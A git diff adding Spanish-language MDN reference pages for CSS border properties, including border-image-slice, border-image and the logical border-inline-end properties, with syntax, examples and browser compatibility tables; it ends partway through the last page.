+<p>La región media no es usada por el borde en sí, pero sí se usa como imagen de fondo si se establece la palabra clave <code>fill</code>. Se puede establecer este valor en cualquier posición en la propiedad (antes, después o entre los otros valores).</p>
+
+<p>Las propiedades {{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}} y {{cssxref("border-image-outset")}} definen cómo se usarán estas imágenes.</p>
+
+<p>La propiedad abreviada {{cssxref("border-image")}} podría restaurar esta propiedad a su valor predeterminado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* border-image-slice: <em>slice</em> */
+border-image-slice: 30%;
+
+/* border-image-slice: <em>horizontal</em> <em>vertical</em> */
+border-image-slice: 10% 30%;
+
+/* border-image-slice: <em>top</em> <em>horizontal</em> <em>bottom</em> */
+border-image-slice: 30 30% 45;
+
+/* border-image-slice: <em>top</em> <em>right</em> <em>bottom</em> <em>left</em> */
+border-image-slice: 7 12 14 5;
+
+/* border-image-slice: … fill */
+/* The fill value can be placed between any value */
+border-image-slice: 10% fill 7 12;
+
+/* Global values */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><em>slice</em></dt>
+ <dd>Es un valor {{cssxref("&lt;number&gt;")}} o {{cssxref("&lt;percentage&gt;")}} de la separación de las cuatro líneas de corte. Un valor {{cssxref("&lt;number&gt;")}} representa <em>píxeles</em> para imágenes de mapa de bits y <em>coordenadas</em> para imágenes vectoriales. A su vez, los valores {{cssxref("&lt;percentage&gt;")}} son relativos a la altura o anchura de la imagen, según sea más adecuado. Valores negativos son inváildos, y valores mayores al tamaño relevante, anchura o altura, son restringidos a <code>100%</code>.</dd>
+ <dt><em>horizontal</em></dt>
+ <dd>Es un valor {{cssxref("&lt;number&gt;")}} o {{cssxref("&lt;percentage&gt;")}} de la separación de las dos líneas de corte horizontales, la superior y la inferior. El valor {{cssxref("&lt;number&gt;")}} representa <em>píxeles</em> para imágenes de mapa de bits y <em>coordenadas</em> para imágenes vectoriales. A su vez, los valores {{cssxref("&lt;percentage&gt;")}} son relativos a la altura o anchura de la imagen, según sea más adecuado. Valores negativos son inválidos, y valores mayores al tamaño relevante, altura o anchura, son restringidos a <code>100%</code>.</dd>
+ <dt><em>vertical</em></dt>
+ <dd>Es un valor {{cssxref("&lt;number&gt;")}} o {{cssxref("&lt;percentage&gt;")}} de la separación de las dos líneas de corte verticales, la izquierda y la derecha. El valor {{cssxref("&lt;number&gt;")}} representa <em>píxeles</em> para imágenes de mapa de bits y <em>coordenadas</em> para imágenes vectoriales. A su vez, los valores {{cssxref("&lt;percentage&gt;")}} son relativos a la altura o anchura de la imagen, según sea más adecuado. Valores negativos son inválidos, y valores mayores al tamaño relevante, altura o anchura, son restringidos a <code>100%</code>.</dd>
+ <dt><em>top</em></dt>
+ <dd>Es un valor {{cssxref("&lt;number&gt;")}} o {{cssxref("&lt;percentage&gt;")}} de la separación de la línea de corte superior. El valor {{cssxref("&lt;number&gt;")}} representa <em>píxeles</em> para imágenes de mapa de bits y <em>coordenadas</em> para imágenes vectoriales. A su vez, los valores {{cssxref("&lt;percentage&gt;")}} son relativos a la altura o anchura de la imagen, según sea más adecuado. Valores negativos son inválidos, y valores mayores al tamaño relevante, altura o anchura, son restringidos a <code>100%</code>.</dd>
+ <dt><em>bottom</em></dt>
+ <dd>Es un valor {{cssxref("&lt;number&gt;")}} o {{cssxref("&lt;percentage&gt;")}} de la separación de la línea de corte inferior. El valor {{cssxref("&lt;number&gt;")}} representa <em>píxeles</em> para imágenes de mapa de bits y <em>coordenadas</em> para imágenes vectoriales. A su vez, los valores {{cssxref("&lt;percentage&gt;")}} son relativos a la altura o anchura de la imagen, según sea más adecuado. Valores negativos son inválidos, y valores mayores al tamaño relevante, altura o anchura, son restringidos a <code>100%</code>.</dd>
+ <dt><em>right</em></dt>
+ <dd>Es un valor {{cssxref("&lt;number&gt;")}} o {{cssxref("&lt;percentage&gt;")}} de la separación de la línea de corte derecha. El valor {{cssxref("&lt;number&gt;")}} representa <em>píxeles</em> para imágenes de mapa de bits y <em>coordenadas</em> para imágenes vectoriales. A su vez, los valores {{cssxref("&lt;percentage&gt;")}} son relativos a la altura o anchura de la imagen, según sea más adecuado. Valores negativos son inválidos, y valores mayores al tamaño relevante, altura o anchura, son restringidos a <code>100%</code>.</dd>
+ <dt><em>left</em></dt>
+ <dd>Es un valor {{cssxref("&lt;number&gt;")}} o {{cssxref("&lt;percentage&gt;")}} de la separación de la línea de corte izquierda. El valor {{cssxref("&lt;number&gt;")}} representa <em>píxeles</em> para imágenes de mapa de bits y <em>coordenadas</em> para imágenes vectoriales. A su vez, los valores {{cssxref("&lt;percentage&gt;")}} son relativos a la altura o anchura de la imagen, según sea más adecuado. Valores negativos son inválidos, y valores mayores al tamaño relevante, altura o anchura, son restringidos a <code>100%</code>.</dd>
+ <dt><code>fill</code></dt>
+ <dd>Es una palabra clave cuya presencia forza que la región media de la imagen sea mostrada sobre la imagen de fondo; su tamaño y altura son redimensionados acorde a los fragmentos superior e izquierdo, respectivamente.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Es una palabra clave que indica que los cuatro valores serán heredados de los valores calculados de su elemento padre.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-slice', 'border-image-slice')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>15.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}<sup>[1]</sup></td>
+   <td>11</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.1{{property_prefix("-webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Hasta Gecko 47.0 {{geckoRelease("47.0")}} las imágenes SVGs sin viewport no eran divididas correctamente ({{bug("619500")}}). A partir de Gecko 48.0 {{geckoRelease("48.0")}} son mostradas igual que los SVGs con viewport, aunque si las partes no son exactamente el 50%, son ajustadas incorrectamente ({{bug("1264809")}}). Esto fue arreglado en Gecko 49.0 {{geckoRelease("49.0")}}, aunque aun hay un problema con los SVGs sin viewport donde <a href="https://wiki.mozilla.org/Electrolysis">e10s</a> es deshabilitado ({{bug("1284798")}}).</p>
+
+<p>También, SVGs pequeños son ajustados incorrectamente, porque los porcentajes en {{cssxref("border-image-slice")}} son calculados como enteros, en vez de reales ({{bug("1284797")}}).</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Shorthand_properties#Tricky_edge_cases">Illustrated description of the 1-to-4-value syntax</a></li>
+</ul>
diff --git a/files/es/web/css/border-image/index.html b/files/es/web/css/border-image/index.html
new file mode 100644
index 0000000000..a2f2ca8c26
--- /dev/null
+++ b/files/es/web/css/border-image/index.html
@@ -0,0 +1,199 @@
+---
+title: border-image
+slug: Web/CSS/border-image
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-image
+---
+<div>{{CSSRef("CSS Borders")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad de CSS   <code>border-image</code> permite utilizar una imágen para definir los bordes de los elementos. Esto hace que dibujarlos sea más simple y elimina la necesidad de utilizar muchas cajas en algunos casos.</p>
+
+<p>La propiedad <code>border-image</code> es usada en lugar de la sentencia {{cssxref("border-style")}}. Por eso es muy importante tener en cuenta el valor dado por la sentencia {{cssxref("border-image-source")}}, que se puede establecer ya sea por la propiedad <code>border-image-source</code> o la abreviatura <code>border-image</code>, en caso de que su valor sea nulo (none), o si la imágen no se puede visualizar, se utilizarán los estilos de borde.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Etiquetado formal</a>: {{csssyntax("border-image")}}</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>A continuación vea las respectivas propiedades para los diferentes valores.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Bitmap_repeated_(repeat)">Bitmap repeated (repeat)</h3>
+
+<p>La imágen es cortada para rellenar el area del borde, repitiendose si es necesario.</p>
+
+<pre class="brush:css">.example {
+  border: 30px solid transparent;
+  -moz-border-image:url("/files/4127/border.png") 30 30 repeat; /* Old firefox */
+  -webkit-border-image:url("/files/4127/border.png") 30 30 repeat; /* Safari */
+  -o-border-image:url("/files/4127/border.png") 30 30 repeat; /* Opera */
+  border-image:url("/files/4127/border.png") 30 30 repeat;
+}
+</pre>
+
+<p>Resultado:<br>
+ <img alt="border image repeat demo" src="/files/4129/repeat.png" style="height: 118px; width: 349px;"></p>
+
+<h3 id="Bitmap_repeated_(round)">Bitmap repeated (round)</h3>
+
+<p>La opción 'round' es una variación de la opción 'repeat', la cual distribuye las partes de tal manera que los extremos se conecten bién.</p>
+
+<pre class="brush: css">.example {
+  border: 30px solid transparent;
+  -moz-border-image:url("/files/4127/border.png") 30 30 round; /* Old firefox */
+  -webkit-border-image:url("/files/4127/border.png") 30 30 round; /* Safari */
+  -o-border-image:url("/files/4127/border.png") 30 30 round; /* Opera */
+  border-image:url("/files/4127/border.png") 30 30 round;
+}</pre>
+
+<p>Resultado:<br>
+ <img alt="border image round demo" src="/files/4131/round.png" style="height: 155px; width: 349px;"></p>
+
+<h3 id="Bitmap_stretched">Bitmap stretched</h3>
+
+<p>La opción 'stretch' estira la imágen para rellenar todo el borde del área</p>
+
+<pre class="brush:css">.example {
+  border: 30px solid transparent;
+  -moz-border-image:url("/files/4127/border.png") 30 30 stretch; /* Old firefox */
+  -webkit-border-image:url("/files/4127/border.png") 30 30 stretch; /* Safari */
+  -o-border-image:url("/files/4127/border.png") 30 30 stretch; /* Opera */
+  border-image:url("/files/4127/border.png") 30 30 stretch;
+}</pre>
+
+<p>Resultado:<br>
+ <img alt="border image stretch demo" src="/files/4133/stretch.png" style="height: 118px; width: 349px;"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image', 'border-image')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}} [1]</p>
+
+    <p>Without prefix since {{CompatGeckoDesktop("15")}}</p>
+   </td>
+   <td>
+    <p>7.0{{property_prefix("-webkit")}}</p>
+
+    <p>Without prefix since 16.0</p>
+   </td>
+   <td>
+    <p><span style="line-height: 1.5;">11</span></p>
+   </td>
+   <td>
+    <p>10.5 / 11.0{{property_prefix("-o")}} [2]</p>
+
+    <p>Without prefix since 15.0</p>
+   </td>
+   <td>
+    <p>3.0{{property_prefix("-webkit")}}</p>
+
+    <p>Without prefix since 6.0</p>
+   </td>
+  </tr>
+  <tr>
+   <td>optional <code>&lt;border-image-slice&gt;</code></td>
+   <td>{{CompatGeckoDesktop("15")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>fill</code> keyword</td>
+   <td>{{CompatGeckoDesktop("15")}}</td>
+   <td>Yes</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Yes (6)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>iOS Safari</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Android Browser</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>3.2{{property_prefix("-webkit")}}</p>
+
+    <p>Without prefix since {{CompatGeckoMobile("15")}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>11.0{{property_prefix("-o")}}</td>
+   <td>2.1{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>optional <code>&lt;border-image-slice&gt;</code></td>
+   <td>{{CompatGeckoMobile("15")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>fill</code> keyword</td>
+   <td>{{CompatGeckoMobile("15")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Yes(18)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] An earlier version of the specification was implemented, prefixed, in Gecko versions prior to 15.</li>
+ <li>[2] For Opera, the prefixed property was added <em>after</em> the non-prefixed.</li>
+</ul>
diff --git a/files/es/web/css/border-inline-color/index.html b/files/es/web/css/border-inline-color/index.html
new file mode 100644
index 0000000000..cf7c658d5f
--- /dev/null
+++ b/files/es/web/css/border-inline-color/index.html
@@ -0,0 +1,86 @@
+---
+title: border-inline-color
+slug: Web/CSS/border-inline-color
+translation_of: Web/CSS/border-inline-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}} </div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-color</code></strong> define el color del borde lógico en línea de un elemento, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-color")}} y {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}, y {{cssxref("border-right-color")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">border-inline-color: yellow;
+border-inline-color: #F5F6F7;
+</pre>
+
+<p>El color del borde en otra dimensión puede establecerse con {{cssxref("border-block-color")}} que establece {{cssxref("border-block-start-color")}}, y {{cssxref("border-block-end-color")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mira {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-inline-color: red;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-color", "border-inline-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-color")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}+ bug 1297097</li>
+</ul>
diff --git a/files/es/web/css/border-inline-end-color/index.html b/files/es/web/css/border-inline-end-color/index.html
new file mode 100644
index 0000000000..961d2d0e1e
--- /dev/null
+++ b/files/es/web/css/border-inline-end-color/index.html
@@ -0,0 +1,90 @@
+---
+title: border-inline-end-color
+slug: Web/CSS/border-inline-end-color
+translation_of: Web/CSS/border-inline-end-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-end-color</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> property defines the color of the logical inline-end border of an element, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-color")}} y {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}, y {{cssxref("border-right-color")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end-color.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-end-color: rebeccapurple;
+border-inline-end-color: #663399;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}, y {{cssxref("border-inline-start-color")}}, que definen los otros colores del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mira {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-inline-end-color: red;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end-color", "border-inline-end-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-end-color")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-end-style/index.html b/files/es/web/css/border-inline-end-style/index.html
new file mode 100644
index 0000000000..1f3a6dbfe7
--- /dev/null
+++ b/files/es/web/css/border-inline-end-style/index.html
@@ -0,0 +1,92 @@
+---
+title: border-inline-end-style
+slug: Web/CSS/border-inline-end-style
+translation_of: Web/CSS/border-inline-end-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-end-style</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> property defines the style of the logical inline end border of an element, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-style")}} y {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}, y {{cssxref("border-right-style")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end-style.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-style'&gt; values */
+border-inline-end-style: dashed;
+border-inline-end-style: dotted;
+border-inline-end-style: groove;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start-style")}}, {{cssxref("border-block-end-style")}}, and {{cssxref("border-inline-start-style")}}, que definen los otros estilos del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>La línea de estilo del borde. Mira {{ cssxref("border-style") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-inline-end-style: dashed;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end-style", "border-inline-end-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-end-style")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-end-width/index.html b/files/es/web/css/border-inline-end-width/index.html
new file mode 100644
index 0000000000..3924e681f6
--- /dev/null
+++ b/files/es/web/css/border-inline-end-width/index.html
@@ -0,0 +1,91 @@
+---
+title: border-inline-end-width
+slug: Web/CSS/border-inline-end-width
+translation_of: Web/CSS/border-inline-end-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong> <code>border-inline-end-width</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> property defines the width of the logical inline-end border of an element, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-width")}} y {{cssxref("border-bottom-width")}}, o {{cssxref("border-left-width")}}, y {{cssxref("border-right-width")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end-width.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-width'&gt; values */
+border-inline-end-width: 2px;
+border-inline-end-width: thick;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start-width")}}, {{cssxref("border-block-end-width")}}, and {{cssxref("border-inline-start-width")}}, que definen los otros anchos del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-inline-end-width: 5px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end-width", "border-inline-end-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-end-width")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico:{{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, y {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-end/index.html b/files/es/web/css/border-inline-end/index.html
new file mode 100644
index 0000000000..7303c2fafc
--- /dev/null
+++ b/files/es/web/css/border-inline-end/index.html
@@ -0,0 +1,98 @@
+---
+title: border-inline-end
+slug: Web/CSS/border-inline-end
+translation_of: Web/CSS/border-inline-end
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-end</code></strong> es una <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">propiedad abreviada</a> para establecer los valores lógicos individuales del borde en línea final en un solo lugar en la hoja de estilos. </p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-end: 1px;
+border-inline-end: 2px dashed;
+border-inline-end: medium dashed blue;
+</pre>
+
